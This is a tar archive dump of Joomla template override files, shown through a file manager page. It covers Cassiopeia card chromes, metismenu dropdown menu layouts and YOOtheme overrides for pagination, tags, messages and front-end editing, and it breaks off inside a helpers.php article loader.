File manager - Edit - /home/opticamezl/www/newok/html.tar
Back
layouts/chromes/card.php 0000644 00000004021 15166657037 0011343 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Templates.cassiopeia * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\Utilities\ArrayHelper; $module = $displayData['module']; $params = $displayData['params']; $attribs = $displayData['attribs']; if ($module->content === null || $module->content === '') { return; } $moduleTag = $params->get('module_tag', 'div'); $moduleAttribs = []; $moduleAttribs['class'] = $module->position . ' card ' . htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_QUOTES, 'UTF-8'); $headerTag = htmlspecialchars($params->get('header_tag', 'h3'), ENT_QUOTES, 'UTF-8'); $headerClass = htmlspecialchars($params->get('header_class', ''), ENT_QUOTES, 'UTF-8'); $headerAttribs = []; $headerAttribs['class'] = $headerClass; // Only output a header class if it is not card-title if ($headerClass !== 'card-title') : $headerAttribs['class'] = 'card-header ' . $headerClass; endif; // Only add aria if the moduleTag is not a div if ($moduleTag !== 'div') { if ($module->showtitle) : $moduleAttribs['aria-labelledby'] = 'mod-' . $module->id; $headerAttribs['id'] = 'mod-' . $module->id; else : $moduleAttribs['aria-label'] = htmlspecialchars($module->title, ENT_QUOTES, 'UTF-8'); endif; } $header = '<' . $headerTag . ' ' . ArrayHelper::toString($headerAttribs) . '>' . $module->title . '</' . $headerTag . '>'; ?> <<?php echo $moduleTag; ?> <?php echo ArrayHelper::toString($moduleAttribs); ?>> <?php if ($module->showtitle && $headerClass !== 'card-title') : ?> <?php echo $header; ?> <?php endif; ?> <div class="card-body"> <?php if ($module->showtitle && $headerClass === 'card-title') : ?> <?php echo $header; ?> <?php endif; ?> <?php echo $module->content; ?> </div> </<?php echo $moduleTag; ?>> layouts/chromes/noCard.php 0000644 00000003357 15166657037 0011653 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Templates.cassiopeia * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\Utilities\ArrayHelper; $module = $displayData['module']; $params = $displayData['params']; $attribs = $displayData['attribs']; if ($module->content === null || $module->content === '') { return; } $moduleTag = $params->get('module_tag', 'div'); $moduleAttribs = []; $moduleAttribs['class'] = $module->position . ' no-card ' . htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_QUOTES, 'UTF-8'); $headerTag = htmlspecialchars($params->get('header_tag', 'h3'), ENT_QUOTES, 'UTF-8'); $headerClass = htmlspecialchars($params->get('header_class', ''), ENT_QUOTES, 'UTF-8'); $headerAttribs = []; // Only output a header class if one is set if ($headerClass !== '') { $headerAttribs['class'] = $headerClass; } // Only add aria if the moduleTag is not a div if ($moduleTag !== 'div') { if ($module->showtitle) : $moduleAttribs['aria-labelledby'] = 'mod-' . $module->id; $headerAttribs['id'] = 'mod-' . $module->id; else : $moduleAttribs['aria-label'] = htmlspecialchars($module->title, ENT_QUOTES, 'UTF-8'); endif; } $header = '<' . $headerTag . ' ' . ArrayHelper::toString($headerAttribs) . '>' . $module->title . '</' . $headerTag . '>'; ?> <<?php echo $moduleTag; ?> <?php echo ArrayHelper::toString($moduleAttribs); ?>> <?php if ($module->showtitle) : ?> <?php echo $header; ?> <?php endif; ?> <?php echo $module->content; ?> </<?php echo $moduleTag; ?>> mod_menu/dropdown-metismenu_heading.php 0000644 00000003605 15166657037 0014423 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage mod_menu * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\Utilities\ArrayHelper; $attributes = []; if ($item->anchor_title) { $attributes['title'] = $item->anchor_title; } $attributes['class'] = 'mod-menu__heading nav-header'; $attributes['class'] .= $item->anchor_css ? ' ' . $item->anchor_css : null; $linktype = $item->title; if ($item->menu_icon) { // The link is an icon if ($itemParams->get('menu_text', 1)) { // If the link text is to be displayed, the icon is added with aria-hidden $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span>' . $item->title; } else { // If the icon itself is the link, it needs a visually hidden text $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span><span class="visually-hidden">' . $item->title . '</span>'; } } elseif ($item->menu_image) { // The link is an image, maybe with an own class $image_attributes = []; if ($item->menu_image_css) { $image_attributes['class'] = $item->menu_image_css; } $linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes); if ($itemParams->get('menu_text', 1)) { $linktype .= '<span class="image-title">' . $item->title . '</span>'; } } if ($showAll && $item->deeper) { $attributes['class'] .= ' mm-collapsed mm-toggler mm-toggler-nolink'; $attributes['aria-haspopup'] = 'true'; $attributes['aria-expanded'] = 'false'; echo '<button ' . ArrayHelper::toString($attributes) . '>' . $linktype . '</button>'; } else { echo '<span ' . ArrayHelper::toString($attributes) . '>' . $linktype . '</span>'; } mod_menu/dropdown-metismenu.php 0000644 00000005637 15166657037 0012753 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage mod_menu * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Helper\ModuleHelper; use Joomla\Utilities\ArrayHelper; /** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = $app->getDocument()->getWebAssetManager(); $wa->registerAndUseScript('metismenu', 'media/templates/site/cassiopeia/js/mod_menu/menu-metismenu.min.js', [], ['defer' => true], ['metismenujs']); $attributes = []; $attributes['class'] = 'mod-menu mod-menu_dropdown-metismenu metismenu mod-list ' . $class_sfx; if ($tagId = $params->get('tag_id', '')) { $attributes['id'] = $tagId; } $start = (int) $params->get('startLevel', 1); ?> <ul <?php echo ArrayHelper::toString($attributes); ?>> <?php foreach ($list as $i => &$item) { // Skip sub-menu items if they are set to be hidden in the module's options if (!$showAll && $item->level > $start) { continue; } $itemParams = $item->getParams(); $class = []; $class[] = 'metismenu-item item-' . $item->id . ' level-' . ($item->level - $start + 1); if ($item->id == $default_id) { $class[] = 'default'; } if ($item->id == $active_id || ($item->type === 'alias' && $itemParams->get('aliasoptions') == $active_id)) { $class[] = 'current'; } if (in_array($item->id, $path)) { $class[] = 'active'; } elseif ($item->type === 'alias') { $aliasToId = $itemParams->get('aliasoptions'); if (count($path) > 0 && $aliasToId == $path[count($path) - 1]) { $class[] = 'active'; } elseif (in_array($aliasToId, $path)) { $class[] = 'alias-parent-active'; } } if ($item->type === 'separator') { $class[] = 'divider'; } if ($showAll) { if ($item->deeper) { $class[] = 'deeper'; } if ($item->parent) { $class[] = 'parent'; } } echo '<li class="' . implode(' ', $class) . '">'; switch ($item->type) : case 'separator': case 'component': case 'heading': case 'url': require ModuleHelper::getLayoutPath('mod_menu', 'dropdown-metismenu_' . $item->type); break; default: require ModuleHelper::getLayoutPath('mod_menu', 'dropdown-metismenu_url'); endswitch; switch (true) : // The next item is deeper. case $showAll && $item->deeper: echo '<ul class="mm-collapse">'; break; // The next item is shallower. case $item->shallower: echo '</li>'; echo str_repeat('</ul></li>', $item->level_diff); break; // The next item is on the same level. default: echo '</li>'; break; endswitch; } ?></ul> mod_menu/dropdown-metismenu_separator.php 0000644 00000003606 15166657037 0015025 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage mod_menu * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\Utilities\ArrayHelper; $attributes = []; if ($item->anchor_title) { $attributes['title'] = $item->anchor_title; } $attributes['class'] = 'mod-menu__separator separator'; $attributes['class'] .= $item->anchor_css ? ' ' . $item->anchor_css : null; $linktype = $item->title; if ($item->menu_icon) { // The link is an icon if ($itemParams->get('menu_text', 1)) { // If the link text is to be displayed, the icon is added with aria-hidden $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span>' . $item->title; } else { // If the icon itself is the link, it needs a visually hidden text $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span><span class="visually-hidden">' . $item->title . '</span>'; } } elseif ($item->menu_image) { // The link is an image, maybe with an own class $image_attributes = []; if ($item->menu_image_css) { $image_attributes['class'] = $item->menu_image_css; } $linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes); if ($itemParams->get('menu_text', 1)) { $linktype .= '<span class="image-title">' . $item->title . '</span>'; } } if ($showAll && $item->deeper) { $attributes['class'] .= ' mm-collapsed mm-toggler mm-toggler-nolink'; $attributes['aria-haspopup'] = 'true'; $attributes['aria-expanded'] = 'false'; echo '<button ' . ArrayHelper::toString($attributes) . '>' . $linktype . '</button>'; } else { echo '<span ' . ArrayHelper::toString($attributes) . '>' . $linktype . '</span>'; } mod_menu/dropdown-metismenu_component.php 0000644 00000004454 15166657037 0015031 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage mod_menu * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Filter\OutputFilter; use Joomla\CMS\HTML\HTMLHelper; $attributes = []; if ($item->anchor_title) { $attributes['title'] = $item->anchor_title; } if ($item->anchor_css) { $attributes['class'] = $item->anchor_css; } if ($item->anchor_rel) { $attributes['rel'] = $item->anchor_rel; } if ($item->id == $active_id) { $attributes['aria-current'] = 'location'; if ($item->current) { $attributes['aria-current'] = 'page'; } } $linktype = $item->title; if ($item->menu_icon) { // The link is an icon if ($itemParams->get('menu_text', 1)) { // If the link text is to be displayed, the icon is added with aria-hidden $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span>' . $item->title; } else { // If the icon itself is the link, it needs a visually hidden text $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span><span class="visually-hidden">' . $item->title . '</span>'; } } elseif ($item->menu_image) { // The link is an image, maybe with an own class $image_attributes = []; if ($item->menu_image_css) { $image_attributes['class'] = $item->menu_image_css; } $linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes); if ($itemParams->get('menu_text', 1)) { $linktype .= '<span class="image-title">' . $item->title . '</span>'; } } if ($item->browserNav == 1) { $attributes['target'] = '_blank'; } elseif ($item->browserNav == 2) { $options = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes'; $attributes['onclick'] = "window.open(this.href, 'targetWindow', '" . $options . "'); return false;"; } echo HTMLHelper::link(OutputFilter::ampReplace(htmlspecialchars($item->flink, ENT_COMPAT, 'UTF-8', false)), $linktype, $attributes); if ($showAll && $item->deeper) { echo '<button class="mm-collapsed mm-toggler mm-toggler-link" aria-haspopup="true" aria-expanded="false" aria-label="' . $item->title . '"></button>'; } mod_menu/dropdown-metismenu_url.php 0000644 00000004474 15166657037 0013633 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage mod_menu * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Filter\OutputFilter; use Joomla\CMS\HTML\HTMLHelper; $attributes = []; if ($item->anchor_title) { $attributes['title'] = $item->anchor_title; } if ($item->anchor_css) { $attributes['class'] = $item->anchor_css; } if ($item->anchor_rel) { $attributes['rel'] = $item->anchor_rel; } $linktype = $item->title; if ($item->menu_icon) { // The link is an icon if ($itemParams->get('menu_text', 1)) { // If the link text is to be displayed, the icon is added with aria-hidden $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span>' . $item->title; } else { // If the icon itself is the link, it needs a visually hidden text $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span><span class="visually-hidden">' . $item->title . '</span>'; } } elseif ($item->menu_image) { // The link is an image, maybe with an own class $image_attributes = []; if ($item->menu_image_css) { $image_attributes['class'] = $item->menu_image_css; } $linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes); if ($itemParams->get('menu_text', 1)) { $linktype .= '<span class="image-title">' . $item->title . '</span>'; } } if ($item->browserNav == 1) { $attributes['target'] = '_blank'; $attributes['rel'] = 'noopener noreferrer'; if ($item->anchor_rel == 'nofollow') { $attributes['rel'] .= ' nofollow'; } } elseif ($item->browserNav == 2) { $options = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,' . $params->get('window_open'); $attributes['onclick'] = "window.open(this.href, 'targetWindow', '" . $options . "'); return false;"; } echo HTMLHelper::link(OutputFilter::ampReplace(htmlspecialchars($item->flink, ENT_COMPAT, 'UTF-8', false)), $linktype, $attributes); if ($showAll && $item->deeper) { echo '<button class="mm-collapsed mm-toggler mm-toggler-link" aria-haspopup="true" aria-expanded="false" aria-label="' . $item->title . '"></button>'; } mod_menu/collapse-metismenu.php 0000644 00000001732 15166657037 0012711 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage mod_menu * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; HTMLHelper::_('bootstrap.collapse'); ?> <nav class="navbar navbar-expand-lg" aria-label="<?php echo htmlspecialchars($module->title, ENT_QUOTES, 'UTF-8'); ?>"> <button class="navbar-toggler navbar-toggler-right" type="button" data-bs-toggle="collapse" data-bs-target="#navbar<?php echo $module->id; ?>" aria-controls="navbar<?php echo $module->id; ?>" aria-expanded="false" aria-label="<?php echo Text::_('MOD_MENU_TOGGLE'); ?>"> <span class="icon-menu" aria-hidden="true"></span> </button> <div class="collapse navbar-collapse" id="navbar<?php echo $module->id; ?>"> <?php require __DIR__ . '/dropdown-metismenu.php'; ?> </div> </nav> tinymce/index.html 0000644 00000000037 15166657037 0010231 0 ustar 00 <!DOCTYPE html><title></title> mod_custom/banner.php 0000644 00000001531 15166657037 0010713 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage mod_custom * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Uri\Uri; $modId = 'mod-custom' . $module->id; if ($params->get('backgroundimage')) { /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = $app->getDocument()->getWebAssetManager(); $wa->addInlineStyle(' #' . $modId . '{background-image: url("' . Uri::root(true) . '/' . HTMLHelper::_('cleanImageURL', $params->get('backgroundimage'))->url . '");} ', ['name' => $modId]); } ?> <div class="mod-custom custom banner-overlay" id="<?php echo $modId; ?>"> <div class="overlay"> <?php echo $module->content; ?> </div> </div> plg_content_pagebreak/toc.php 0000604 00000001362 15166657145 0012375 0 ustar 00 <?php namespace YOOtheme; use Joomla\CMS\Language\Text; if (Path::get(__FILE__) !== $file = Path::get('~theme/html/plg_content_pagebreak/toc.php')) { return include $file; } ?> <?php if (!$showall) : $title = Text::sprintf('JLIB_HTML_PAGE_CURRENT_OF_TOTAL', $page + 1, count($list) - 1); // Show title only if it's a custom title, and not e.g. Page 2 if ($page && $list[$page + 1]->title != Text::sprintf('JLIB_HTML_PAGE_CURRENT', $page + 1)) { $title .= ': ' . htmlspecialchars($list[$page + 1]->title, ENT_QUOTES, 'UTF-8'); } ?> <p class="uk-text-meta tm-page-break <?= ($page == '0') ? 'tm-page-break-first-page' : '' ?>"><?= $title ?></p> <?php else : ?> <div class="tm-page-break-remove-br"></div> <?php endif ?> plg_content_pagebreak/navigation.php 0000604 00000004242 15166657145 0013747 0 ustar 00 <?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\Language\Text; if (Path::get(__FILE__) !== $file = Path::get('~theme/html/plg_content_pagebreak/navigation.php')) { return include $file; } ?> <?php if ($links['next']) : $title = htmlspecialchars($this->list[$page + 2]->title, ENT_QUOTES, 'UTF-8'); $ariaLabel = Text::_('JNEXT') . ': ' . $title . ' (' . Text::sprintf('JLIB_HTML_PAGE_CURRENT_OF_TOTAL', ($page + 2), $n) . ')'; ?> <div class="uk-grid-small uk-flex-middle uk-text-default" uk-grid> <div> <a class="uk-button uk-button-secondary" href="<?= $links['next'] ?>" aria-label="<?= $ariaLabel ?>" rel="next"><?= Text::_('TPL_YOOTHEME_NEXT_PAGE') ?></a> </div> <?php // Show title only if it's a custom title, and not e.g. Page 2 if ($this->list[$page + 2]->title != Text::sprintf('JLIB_HTML_PAGE_CURRENT', $page + 2)) : ?> <div> <?= $title ?> </div> <?php endif ?> </div> <?php endif ?> <div class="uk-grid-small uk-flex-middle uk-child-width-auto uk-text-default uk-margin-top" uk-grid> <div> <?= Text::sprintf('JLIB_HTML_PAGE_CURRENT', '') ?> </div> <div> <nav aria-label="<?= Text::_('TPL_YOOTHEME_PAGINATION') ?>"> <ul class="uk-pagination uk-margin-remove-bottom"> <?php foreach ($this->list as $index => $item) : $active = isset($item->liClass) // Joomla 3 ? str_contains($item->liClass, 'active') // Joomla 4 : !empty($item->active); ?> <li<?= $active ? ' class="uk-active"' : '' ?>> <?php if ($index == $page + 1) : ?> <span aria-current="page"><?= ($index == array_key_last($this->list)) ? $item->title : $index ?></span> <?php else : ?> <a href="<?= $item->link ?>"><?= (Text::sprintf('PLG_CONTENT_PAGEBREAK_ALL_PAGES') == $item->title) ? $item->title : $index ?></a> <?php endif ?> </li> <?php endforeach ?> </ul> </nav> </div> </div> layouts/joomla/content/tags.php 0000604 00000002107 15166657145 0012662 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\Access\Access; use Joomla\CMS\Factory; use Joomla\CMS\Router\Route; use Joomla\Component\Tags\Site\Helper\RouteHelper; use Joomla\Registry\Registry; use YOOtheme\Path; if (Path::get(__FILE__) !== $file = Path::get('~theme/html/layouts/joomla/content/tags.php')) { return include $file; } ?> <?php if (!empty($displayData)) : ?> <?php foreach ($displayData as $i => $tag) : ?> <?php if (in_array($tag->access, Access::getAuthorisedViewLevels(Factory::getUser()->get('id')))) : ?> <?php $seperator = $i !== array_key_last($displayData) ? ',' : '' ?> <?php $tagParams = new Registry($tag->params) ?> <?php $tagClass = trim(str_replace(['label-info', 'label'], '', $tagParams->get('tag_link_class', ''))) ?> <a href="<?= Route::_(RouteHelper::getTagRoute($tag->tag_id . ':' . $tag->alias)) ?>" class="<?= $tagClass ?>" property="keywords" vocab="https://schema.org/"><?= $this->escape($tag->title) ?></a><?= $seperator ?> <?php endif ?> <?php endforeach ?> <?php endif ?> layouts/joomla/pagination/link.php 0000604 00000001574 15166657145 0013347 0 ustar 00 <?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\Language\Text; $item = $displayData['data']; if ($item->active) { echo "<li class=\"uk-active\"><span aria-current=\"page\">{$item->text}</span></li>"; } else { $cls = ''; $title = ''; if ($item->text == Text::_('JNEXT')) { $title = $item->text; $item->text = '<span uk-pagination-next></span>'; $cls = 'next'; } elseif ($item->text == Text::_('JPREV')) { $title = $item->text; $item->text = '<span uk-pagination-previous></span>'; $cls = 'previous'; } elseif ($item->text == Text::_('JLIB_HTML_START')) { $cls = 'first'; } elseif ($item->text == Text::_('JLIB_HTML_END')) { $cls = 'last'; } echo "<li><a class=\"{$cls}\" href=\"{$item->link}\"".($title ? " aria-label=\"{$title}\"" : '').">{$item->text}</a></li>"; } layouts/joomla/pagination/list.php 0000604 00000003067 15166657145 0013364 0 ustar 00 <?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\Language\Text; $list = $displayData['list']; $config = app(Config::class); if (!$config('~theme.blog.pagination_startend')) { $list['start']['active'] = false; $list['end']['active'] = false; } // find out the id of the page, that is the current page $currentId = 0; foreach ($list['pages'] as $id => $page) { if (!$page['active']) { $currentId = $id; } } // set the range for the inner pages that should be displayed // this displays + - $range page-buttons around the current page // due to joomla-restrictions there won't be displayed more than -5 and +4 buttons. $range = 3; // start navigation echo '<nav class="uk-margin-large" aria-label="' . Text::_('TPL_YOOTHEME_PAGINATION') . '">'; // start building pagination-list echo '<ul class="uk-pagination uk-margin-remove-bottom uk-flex-center">'; // add first-button if ($list['start']['active'] == 1) { echo $list['start']['data']; } // add previous-button if ($list['previous']['active'] == 1) { echo $list['previous']['data']; } // add buttons for surrounding pages foreach ($list['pages'] as $id => $page) { // only show the buttons that are within the range if ($id <= $currentId + $range && $id >= $currentId - $range) { echo $page['data']; } } // add next-button if ($list['next']['active'] == 1) { echo $list['next']['data']; } // add last-button if ($list['end']['active'] == 1) { echo $list['end']['data']; } // close pagination-list echo '</ul>'; // close navigation echo '</nav>'; layouts/joomla/system/message.php 0000604 00000002201 15166657145 0013215 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use YOOtheme\Path; if (Path::get(__FILE__) !== $file = Path::get('~theme/html/layouts/joomla/system/message.php')) { return include $file; } if (version_compare(JVERSION, '4.0', '>')) { return include JPATH_ROOT . '/layouts/joomla/system/message.php'; } $alert = [ 'message' => 'uk-alert-success', 'warning' => 'uk-alert-warning', 'error' => 'uk-alert-danger', 'notice' => '', 'info' => '', ]; $msgList = $displayData['msgList']; $msgAttr = json_encode($msgList); ?> <div id="system-message-container" data-messages="<?= htmlspecialchars($msgAttr) ?>"> <?php if (is_array($msgList) && !empty($msgList)) : ?> <?php foreach ($msgList as $type => $msgs) : ?> <div class="uk-alert <?= $alert[$type] ?>" uk-alert> <a href class="uk-alert-close uk-close" uk-close></a> <?php if (!empty($msgs)) : ?> <h3><?= Text::_($type) ?></h3> <?php foreach ($msgs as $msg) : ?> <p><?= $msg ?></p> <?php endforeach ?> <?php endif ?> </div> <?php endforeach ?> <?php endif ?> </div> layouts/joomla/edit/frontediting_modules.php 0000604 00000005577 15166657145 0015441 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\Uri\Uri; use YOOtheme\Path; if (Path::get(__FILE__) !== $file = Path::get('~theme/html/layouts/joomla/edit/frontediting_modules.php')) { return include $file; } $mod = $displayData['module']; if (!intval($mod->id)) { return; } if (version_compare(JVERSION, '4.0', '<')) { return include JPATH_ROOT . '/layouts/joomla/edit/frontediting_modules.php'; } // JLayout for standard handling of the edit modules: $moduleHtml = &$displayData['moduleHtml']; $mod = $displayData['module']; $position = $displayData['position']; $menusEditing = $displayData['menusediting']; $parameters = ComponentHelper::getParams('com_modules'); $redirectUri = '&return=' . urlencode(base64_encode(Uri::getInstance()->toString())); $target = '_blank'; $itemid = Factory::getApplication()->input->get('Itemid', '0', 'int'); $editUrl = Uri::base() . 'administrator/index.php?option=com_modules&task=module.edit&id=' . (int) $mod->id; // If Module editing site if ($parameters->get('redirect_edit', 'site') === 'site') { $editUrl = Uri::base() . 'index.php?option=com_config&view=modules&id=' . (int) $mod->id . '&Itemid=' . $itemid . $redirectUri; $target = '_self'; } // Add link for editing the module $moduleHtml = '<a class="btn btn-link jmodedit" href="' . $editUrl . '" target="' . $target . '" aria-describedby="tip-' . (int) $mod->id . '"> <span class="icon-edit" aria-hidden="true"></span><span class="visually-hidden">' . Text::_('JGLOBAL_EDIT') . '</span></a> <div role="tooltip" id="tip-' . (int) $mod->id . '">' . Text::_('JLIB_HTML_EDIT_MODULE') . '<br>' . htmlspecialchars($mod->title, ENT_COMPAT, 'UTF-8') . '<br>' . sprintf(Text::_('JLIB_HTML_EDIT_MODULE_IN_POSITION'), htmlspecialchars($position, ENT_COMPAT, 'UTF-8')) . '</div>' . $moduleHtml; // If menu editing is enabled and allowed and it's a menu module add link for editing if ($menusEditing && $mod->module === 'mod_menu') { // find the menu item id $regex = '/\bitem-(\d+)\b/'; preg_match_all($regex, $moduleHtml, $menuItemids); if ($menuItemids) { foreach ($menuItemids[1] as $menuItemid) { $menuitemEditUrl = Uri::base() . 'administrator/index.php?option=com_menus&view=item&client_id=0&layout=edit&id=' . (int) $menuItemid; $moduleHtml = preg_replace( // Find the link '/(<li.*?\bitem-' . $menuItemid . '.*?>)/', // Create and add the edit link '\\1 <a class="jmenuedit small" href="' . $menuitemEditUrl . '" target="' . $target . '" title="' . Text::_('JLIB_HTML_EDIT_MENU_ITEM') . ' ' . sprintf(Text::_('JLIB_HTML_EDIT_MENU_ITEM_ID'), (int) $menuItemid) . '"> <span class="icon-edit" aria-hidden="true"></span></a>', $moduleHtml ); } } } mod_breadcrumbs/default.php 0000604 00000000574 15166657145 0012053 0 ustar 00 <?php namespace YOOtheme; use Joomla\CMS\Uri\Uri; defined('_JEXEC') or die; $view = app(View::class); if (!$params->get('showLast', 1)) { array_pop($list); } elseif ($list) { $list[count($list) - 1]->link = ''; } echo $view('~theme/templates/breadcrumbs', [ 'items' => $list, 'schemaorgId' => Uri::root() . '#/schema/BreadcrumbList/' . (int) $module->id ]); mod_articles_archive/default.php 0000604 00000000366 15166657145 0013070 0 ustar 00 <?php defined('_JEXEC') or die; ?> <?php if (!empty($list)) : ?> <ul class="archive-module"> <?php foreach ($list as $item) : ?> <li><a href="<?= $item->link ?>"><?= $item->text ?></a></li> <?php endforeach ?> </ul> <?php endif ?> plg_content_pagenavigation/default.php 0000604 00000002473 15166657146 0014314 0 ustar 00 <?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\Language\Text; if (Path::get(__FILE__) !== $file = Path::get('~theme/html/plg_content_pagenavigation/default.php')) { return include $file; } /** @var View $view */ [$view, $config] = app(View::class, Config::class); $props = [ 'isPage' => $row->catid == $config('~theme.page_category'), ]; $el = $view->el('nav', [ 'aria-label' => Text::_('TPL_YOOTHEME_PAGINATION'), 'class' => [ 'uk-margin-xlarge {@isPage}', 'uk-margin-medium {@!isPage}', ], ]); $list = $view->el('ul', [ 'class' => [ 'uk-pagination', 'uk-margin-remove-bottom', 'uk-flex-between {@isPage}', ], ]); $prev = $view->el('li'); $next = $view->el('li', [ 'class' => [ 'uk-margin-auto-left {@!isPage}', ], ]); ?> <?= $el() ?> <?= $list($props) ?> <?php if ($row->prev) : ?> <?= $prev($props) ?> <a href="<?= $row->prev ?>"><span uk-pagination-previous></span> <?= $row->prev_label ?></a> <?= $prev->end() ?> <?php endif ?> <?php if ($row->next) : ?> <?= $next($props) ?> <a href="<?= $row->next ?>"><?= $row->next_label ?> <span uk-pagination-next></span></a> <?= $next->end() ?> <?php endif ?> <?= $list->end() ?> <?= $el->end() ?> helpers.php 0000604 00000015632 15166657146 0006743 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\CMS\Uri\Uri; use Joomla\Registry\Registry; // Register helpers HTMLHelper::register('attrs', [$this->view, 'attrs']); HTMLHelper::register('render', [$this->view, 'render']); HTMLHelper::register('section', [$this->view, 'section']); // Add article loader $this->view->addLoader(function ($name, $parameters, $next) use ($theme) { $defaults = array_fill_keys(['title', 'author', 'content', 'hits', 'created', 'modified', 'published', 'category', 'image', 'tags', 'icons', 'readmore', 'pagination', 'link', 'permalink', 'event', 'single'], null); // Vars extract(array_replace($defaults, $parameters), EXTR_SKIP); // Params if (!isset($params)) { $params = $article->params; } elseif (is_array($params)) { $params = new Registry($params); } // Event if (isset($article->event)) { $event = $article->event; if (!$single && $params['show_intro']) { $event->afterDisplayTitle = ''; } } // Builder if ($theme->get('builder')) { return $next('article:builder', compact('app', 'article', 'theme', 'content')); } // Link if (!isset($link)) { $link = ContentHelperRoute::getArticleRoute($article->slug, $article->catid, $article->language); } // Permalink if (!isset($permalink)) { $permalink = Route::_($link, true, -1); } if ($params['access-view'] === false) { $menu = Factory::getApplication()->getMenu()->getActive(); $return = base64_encode(Route::_($link, false)); $link = new Uri(Route::_("index.php?option=com_users&view=login&Itemid={$menu->id}", false)); $link->setVar('return', $return); } // Title if ($params['show_title']) { $title = $article->title; if ($params['link_titles']) { $title = HTMLHelper::_('link', $link, $title, ['class' => 'uk-link-reset']); } } // Author if ($params['show_author']) { $author = $article->created_by_alias ?: $article->author; if ($params['link_author'] && $article->contact_link) { $author = HTMLHelper::_('link', $article->contact_link, $author); } } if (!empty($article->created_by_alias)) { $article->author = $article->created_by_alias; } // Hits if ($params['show_hits']) { $hits = $article->hits; } // Create date if ($params['show_create_date']) { $created = HTMLHelper::_('date', $article->created, Text::_('DATE_FORMAT_LC3')); $created = '<time datetime="' . HTMLHelper::_('date', $article->created, 'c') . "\">{$created}</time>"; } // Modify date if ($params['show_modify_date']) { $modified = HTMLHelper::_('date', $article->modified, Text::_('DATE_FORMAT_LC3')); $modified = '<time datetime="' . HTMLHelper::_('date', $article->modified, 'c') . "\">{$modified}</time>"; } // Publish date if ($params['show_publish_date']) { $published = HTMLHelper::_('date', $article->publish_up, Text::_('DATE_FORMAT_LC3')); $published = '<time datetime="' . HTMLHelper::_('date', $article->publish_up, 'c') . "\">{$published}</time>"; } // Category if ($params['show_category']) { $category = $article->category_title; if ($params['link_category'] && $article->catslug) { $category = HTMLHelper::_('link', Route::_(ContentHelperRoute::getCategoryRoute($article->catslug)), $category); } } // Image if (is_string($image)) { $images = new Registry($article->images); $imageType = $image; if ($images->get("image_{$imageType}")) { $image = new stdClass(); $image->link = $params['link_titles'] ? $link : null; $image->align = $images->get("float_{$imageType}") ?: $params["float_{$imageType}"]; $image->caption = $images->get("image_{$imageType}_caption"); $image->attrs = [ 'src' => $images->get("image_{$imageType}"), 